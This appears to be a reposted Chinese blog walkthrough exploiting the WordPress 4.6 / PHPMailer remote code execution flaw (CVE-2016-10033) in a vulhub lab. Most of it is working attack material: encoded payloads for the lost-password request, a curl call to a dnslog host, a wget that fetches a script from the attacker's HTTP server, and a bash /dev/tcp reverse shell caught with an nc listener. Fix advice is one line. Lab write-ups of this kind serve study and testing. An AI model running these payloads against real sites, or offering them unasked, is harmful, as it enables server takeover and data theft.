wordpress 4.6 RCE漏洞利用(CVE-2016-10033)

2023-11-18

一、漏洞描述:

当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行

二、影响版本

WordPress <= 4.6.0

PHPMailer < 5.2.18

三、漏洞搭建

vulhub下载,傻瓜式安装,然后漏洞在密码重置这个页面

四、漏洞利用

1、抓包,构造POST /wp-login.php?action=lostpassword,发包 ,存在漏洞

ps:

payload转换规则:

a.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替

b.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}u74tkp.dnslog.cn}} null)

2、漏洞进一步利用,起一个tcp服务,新建一个txt文件存储反弹命令,然后开启nc监听1234端口

1、python3 -m http.server 80 (此处起的端口必须是80,否则反弹会不成功)

2、bash -i >& /dev/tcp/监听主机IP/1234 0>&1(ip.txt,以前的txt文件复制的,名字无所谓就不改了)

3、nc -lv 1234

 

3、构造payload,进行shell反弹

(1)利用wget --output-document /tmp/shell url 下载ip.txt 文件,保存在/tmp下面的shell文件里

(前面的http://会自动补齐,开启的是80端口,服务默认是80不显示,所以这里URL==服务IP)

1、edi(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell IP地址/ip.txt}} null )

2、编码后:

edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}IP地址${substr{0}{1}{$spool_directory}}ip.txt}}

dockerexec -it containerID bash 进入容器,查看另存shell成功

(2)写入反弹命令后,构造发包,获取shell

1、edi(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null )

2、编码后:edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

五、修复建议

更新到最新版本

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

wordpress 4.6 RCE漏洞利用(CVE-2016-10033) 的相关文章

随机推荐

  • ubuntu软件更新源,更改,可提高更新的速度,移动端app开发

    6 安装系统更新 打开 系统 gt 系统管理 gt 更新管理器 安装更新 完成后若系统提示重新启动 请重新启动系统 如果你是校园网用户 请查看 Ubuntu11 04教育网源 下面是Ubuntu 11 04一些常见的源 Ubuntu官方源
  • 毕业设计 stm32人脸识别系统 - 单片机 物联网 嵌入式 机器视觉

    文章目录 0 前言 1 简介 2 主要器件 3 实现效果 4 设计原理 K210实现人脸识别 5 部分核心代码 6 最后 0 前言 这两年开始毕业设计和毕业答辩的要求和难度不断提升 传统的毕设题目缺少创新和亮点 往往达不到毕业答辩的要求 这
  • docker清理磁盘占用

    我的个人博客 逐步前行STEP 1 docker system df 查看docker磁盘占用 2 docker system prune Docker 的 docker system prune 命令可以删除那些已停止的容器 dangli
  • 关于uart串口接收端乱码问题

    问题 在给gd32f303单片机封装串口驱动时 发现接收端乱码 解决 经排查发现是系统时钟不准 经过调整内部时钟后成功解决问题 注 异步通信协议uart依赖双方时钟的准确 任一方时钟不准都会导致乱码问题 其他导致串口出问题的原因 1 分开的
  • Java毕设项目二手交易市场整站源码 校园转转二手市场源码

    本篇为大家带来的是Java开源项目 校园二手交易平台 可以用来做实战演练 也可以用来做毕业设计 校园转转二手市场源码分享 Java写的应用 改成本毕设啥还是挺不错的 mybatis plus 和 Hibernate随心用 基于 Java 开
  • Android 更新UI方法的深度解析

    1 Handler public class SecondActivity extends Activity private static final int MSG WHAT 101 TextView tv Button btn priv
  • Unity 制作动画 - Animation 的使用

    1 unity 顶部导航栏点击 Window gt Animation 打开 Animation 窗口 通过这个窗口可以创建 编辑动画 也可以查看导入的动画 Animation 窗口同一时间只能查看 编辑同一段Clip中的动画 2 选中 H
  • MySQL的auto_increment使用

    说明 总结自 mysql技术内幕 第5版 创建auto increment列要遵循如下规则 每个表只能有一个列具有auto increment属性 且必须为整数数据类型 当然 也支持浮点类型 但强烈不建议 该列必须建立索引 最常见的就是使用
  • 2014年3月8日星期六(DEMO8-5恒定着色)

    恒定着色是在多边形由一种材质构成 多边形的每个点的面法线都相同 因此 只需对一个顶点的像素的光照情况对整个多边形进行着色 对于平面组成的物体 是可行的 但是如果对曲面组成的物体 会导致物体看起来由多边形组成 在16位着色下 光照步骤为 1
  • 【漏洞复现】利用禅道系统RCE命令执行漏洞反弹shell

    0x00 漏洞爆出来已经有些日子了 今天实测了一下 记录一下测试过程 0x01 影响范围 开源版 17 4 lt 禅道 lt 18 0 beta1 旗舰版 v3 4 lt 禅道 lt v4 0 beta1 企业版 v7 4 lt 禅道 lt
  • H2,Derby,HSQL内存数据库体验

    前一段时间接触了下spring支持的3种嵌入式数据库 希望能替代mysql 结果不太理想 记录一下 1 使用背景 小组希望有独立的单测数据库 这样能保证测试数据的稳定性 本身项目用spring 优先选择spring自带的3个嵌入式数据库 2
  • read tcp 192.168.0.106:56298->185.199.111.153:80: wsarecv: An existing connection was forcibly close

    解决 read tcp 192 168 0 106 56298 gt 185 199 111 153 80 wsarecv An existing connection was forcibly close 问题 问题描述 问题原因 解决办
  • pytest自带测试报告修改与汉化

    话不多说 大家直接看这篇文章吧 我也是根据这篇文章调整的 这篇算是详细 详尽的了 转载链接地址 https www cnblogs com linuxchao p linuxchao pytest html html 最后的汉化插件我没有用
  • python控制系统操作-控制text文本内容的选取与输出

    python控制系统操作 控制text文本内容的选取与输出 1 首先我们查看一下简单文本的内容 txt T QWE GGG Sat AbsoluteDlg cpp 777 m Progress gt Get gt Set RRC T QWE
  • JVM的构成 (类加载子系统、执行引擎、运行时数据区)

    目录 JVM由三部分组成 1 类加载子系统 可以根据指定的全限定名来载入类或接口 Java类加载机制 trigger333的博客 CSDN博客 java类加载的机制 2 执行引擎 负责执行那些包含在被载入类的方法中的指令 3 运行时数据区
  • 刷脸支付技术对接可以代理可以贴牌

    购物付款时 不用打开手机 只是看一眼支付设备 就能完成付款 今年以来 刷脸支付在大小商店 餐馆逐渐铺开 消费者和商家在感到新鲜 好奇的同时也发现 这一设备利用率较低 体验也没有二维码支付好 此外还存在个人信息泄露的风险 刷脸支付未来如何 市
  • cpu是几核的怎么查看

    文章目录 一 Windows下 二 Linux下 一 Windows下 通过任务管理器查看 windows下任务管理器的打开方式较多 比如 Win x 选择任务管理器 T Win R 输入taskmgr并点击回车键 打开任务管理器 Ctrl
  • DC-DC自举电容(BOOT)几个问题

    在BUCK电路中 经常会看到一个电容连接在芯片的SW和boot管脚之间 这个电容称之为自举电容 关于这个电容 有以下几个问题 自举电容有什么用 以MPS的buck芯片MP1484为例 规格书中芯片的BS管脚说明如下 在BS和SW之间接一个0
  • 51单片机C语言跑马灯,51单片机上实现控制跑马灯

    在MCS一51单片机的控制系统中 它的四个并行8位输入输出端口P0一P3是我们经常使用的 在并行端口的编程学习中 跑马灯 是单片机并行端口输出控制的典型实例 所谓跑马灯 是指将八个发光二极管分别连接到单片机的某一并行端口的八根线上 通过编程
  • wordpress 4.6 RCE漏洞利用(CVE-2016-10033)

    一 漏洞描述 当WordPress 使用 PHPMailer 组件向用户发送邮件 攻击者在找回密码时会使用PHPmailer发送重置密码的邮件 利用substr 字符串截取函数 run 系统调用函数 等构造payload 即可进行远程命令执